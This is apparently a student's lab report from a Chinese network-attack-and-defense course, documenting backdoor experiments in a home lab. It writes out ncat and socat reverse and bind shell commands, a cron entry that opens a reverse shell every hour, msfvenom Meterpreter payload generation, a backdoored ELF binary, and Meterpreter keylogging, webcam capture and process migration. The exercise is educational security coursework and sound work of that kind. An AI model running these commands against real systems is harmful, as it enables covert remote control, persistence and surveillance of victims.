博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 Week3 20165326
阅读量:5062 次
发布时间:2019-06-12

本文共 4901 字,大约阅读时间需要 16 分钟。

Exp2 后门原理与实践

目录

1.

2.

3.

4.


实验原理简介

  • 后门:不经过正常流程而访问系统的通道
  • ncat:底层工具,进行基本的TCP UDP数据收发
    在两台电脑之间建立链接并返回数据流
*** 常用参数选项说明***nc -h查看-4 使用IPV4-6 使用IPV6-c, --sh-exec  接收到的命令通过command(例如/bin/bash)执行-e, --exec  和-c差不多--lua-exec 
接收到的数据通过脚本filename执行-m, --max-conns
最大并发连接数(单独开启不生效,需配合--keep-open/--broker使用)-d, --delay

  • socat:多功能的网络工具在两个数据流之间建立通道,且支持众多协议和链接方式

    socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。

    Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。 (摘自下方链接)

  • meterpreter

    Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。


实验内容

Windows获得Linux Shell

  • 在Windows的cmd里使用ipconfig查看ip(此处使用了VMnet1,相关知识)
  • 进入ncat目录开始监听:ncat.exe -l -p 5326
  • 在kali中反弹连接Windows(躲防火墙):ncat 192.168.138.1 5326 -e /bin/sh
  • 成功

    1296580-20190324191650849-835206065.png

    Linux 获取Windows shell

  • 使用ifconfig查看ip:192.168.80.131
  • 开始监听:nc -l -p 5326
  • Windowsf连接:ncat.exe -e cmd.exe 192.168.80.131 5326
  • 成功

    1296580-20190324191714488-36376302.png

    使用nc传输数据

  • Windows监听:ncat.exe -l 5326
  • linux反弹连接:nc 192.168.138.1 5326
  • 连接成功,互传数据
    • kali:hello
    • dell:hello
    • kali:hello from the other side

      1296580-20190324192104535-1493164515.png

      使用nc传输文件

  • Windows监听,并把收到的数据保存到out中:ncat.exe -l 5326 > out
  • linux下建立一个文件in,从指定端口传输nc 192.168.138.1 5326 < in
  • 连接建立成功,查看文件

    1296580-20190324192119365-1208727870.png

    Ⅰ.使用netcat获取主机操作Shell,cron启动

    cron启动

    cron是一个Linux下的定时执行工具,无需人工干预。在每次编辑完某个用户的cron设置后,cron自动在/var/spool/cron下生成一个与此用户同名的文件,此用户的cron信息都记录在这个文件中,这个文件只可用crontab -e来编辑。

*** 相关命令 ***开机就启动cron进程的设置命令:chkconfig --add crond把cron加入到启动脚本中:rc-update add vixie-cron defaultcrontab -l  #查看你的任务crontab -e #编辑你的任务crontab -r #删除用户的crontab的内容*** 定时设置 ***//前一部分是对时间的设定,后面一部分是要执行的命令//附: Crontab 的格式说明如下:* 逗号(',') 指定列表值。如: "1,3,4,7,8"* 中横线('-') 指定范围值 如 "1-6", 代表 "1,2,3,4,5,6"* 星号 ('*') 代表所有可能的值//举例0 */2 * * * echo "have a break now." > /tmp/test.txt//每两个小时0 23-7/2,8 * * * echo "have a good dream:)" > /tmp/test.txt    //晚上11点到早上8点之间每两个小时,早上八点0 11 4 * 1-3 command line //每个月的4号与每个礼拜的礼拜一到礼拜三的早上11点
  • Windows监听端口:ncat.exe -l -p 5326
  • crontab -e编辑定时任务,选择编辑器
  • 此处设定为在每小时的第33分钟获取shell,在cron文件里输入:33 * * * * /bin/netcat 192.168.138.1 5326 -e /bin/sh
    1296580-20190324192137126-558402691.png
  • 获取成功

    1296580-20190324192155638-762468351.png

    Ⅱ.使用socat获取主机操作Shell, 任务计划启动

  • 打开计算机管理任务计划程序创建任务→命名→新建操作,选择socat.exe的路径,添加参数填写tcp-listen:5326 exec:cmd.exe,pty,stderr(这个命名把cmd綁定到端口23,同时把cmd的Stderr重定向到stdout)→创建触发器
    1296580-20190324192221515-1168008184.png
  • 触发条件开始运行
  • kali输入socat - tcp:192.168.138.1:5326,等同于nc IP PORT,获得cmd

    1296580-20190324192237286-900838491.png

    Ⅲ .使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali上执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=532 -f exe > 26.exe生成后门程序()
  • 在kali中执行nc 192.168.138.1 5326 < 26.exe,Windows里执行ncat.exe -lv 5326 > 26.exe,-lv查看连接状态。(传输该程序)
  • windows双击运行该后门程序,kali上使用msfconsole进入msf控制台
  • 输入如下
use exploit/multi/handler  //使用监听模块,设置payloadset payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payloadset LHOST 192.168.80.131set LPORT 5326  //设置地址和端口号exploit   //执行监听

此时在就能运行windows的shell

1296580-20190324192439401-1483049949.png

Ⅳ.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 获取目标主机音频
    1296580-20190324192458351-239016543.png
  • 获取键盘keyscan_start,keyscan_dump,见上图最下
  • 截屏screenshot
    1296580-20190324192808376-91717507.png
  • 获取摄像头权限
    1296580-20190324192829163-1940044600.png
  • getpid获取进程号,迁移进程migrate,获得当前运行进程ps
    1296580-20190324192606209-46572821.png
  • getuid查看当前用户(在pid那个图里找)
  • execute -f [options]在目标执行应用程序,此处执行cmd
    1296580-20190324192544446-1648013842.png

更多相关实例我就没有截图了,学习可以看最上面知识介绍的链接

Ⅴ.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

payloadshellcode的区别

Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。因为Payload是包含在ShellCode中的,ShellCode是真正的被输入到存在漏洞的程序中的,并且ShellCode负责把程序的流程最终转移到你的Payload代码中。所以对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情。

  • 根据相关知识点(感觉这句话好水)输入指令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=5326 -x /root/20165326/exp1/pwn2 -f elf > pwn26
  • 输入ls,成功!


问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    网页挂马,捆绑下载程序,邮件balabala
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    win:修改注册表自启动,修改注册联系表捆绑启动
    linux:修改cron启动
  • Meterpreter有哪些给你映像深刻的功能?
    好多都挺深刻的,最深刻的还是进程迁移吧,迁移之后不需要连接都可以直接操作,相当实用了。还有获取摄像头,想要找个胶布贴起来……
  • 如何发现自己有系统有没有被安装后门?
    杀毒软件。现在的程序想要修改电脑选项的话一般电脑都会询问是否允许啦,可以怀疑一下嗯

实验总结与体会

真的很有意思,感觉学到了很多很实用的东西,实验确实耗费了有点多时间,看文档就看了很久……but做出来成就感还是有的哈哈哈,同时也觉得自己的安全意识不够强,自己动手操作了一把,有一种黑客的感觉(搓手手)。希望自己能学的更深,然后能做出一点有用的东西来。虽“魔高一尺”,但未来会“道高一丈”叭hh。

转载于:https://www.cnblogs.com/Czzzz/p/10589692.html

你可能感兴趣的文章
sql注入
查看>>
「破解」Xposed强
查看>>
src与href的区别
查看>>
ABAP工作区,内表,标题行的定义和区别
查看>>
《xxx重大需求征集系统的》可用性和可修改性战术分析
查看>>
Python 中 创建类方法为什么要加self
查看>>
关于indexOf的使用
查看>>
【转】JS生成 UUID的四种方法
查看>>
英语单词
查看>>
centos6.8下安装matlab2009(图片转帖)
查看>>
Mongo自动备份
查看>>
求助大神!怎样批量删除数据库表中某个字段中同样的一段字符!
查看>>
VMWARE虚拟机无法访问的三种方法分析
查看>>
enq: SQ - contention
查看>>
cer证书签名验证
查看>>
ant 安装
查看>>
新手Python第一天(接触)
查看>>
vue路由动态加载
查看>>
【原】UIWebView加载本地pdf、doc等文件
查看>>
iOS中ARC内部原理
查看>>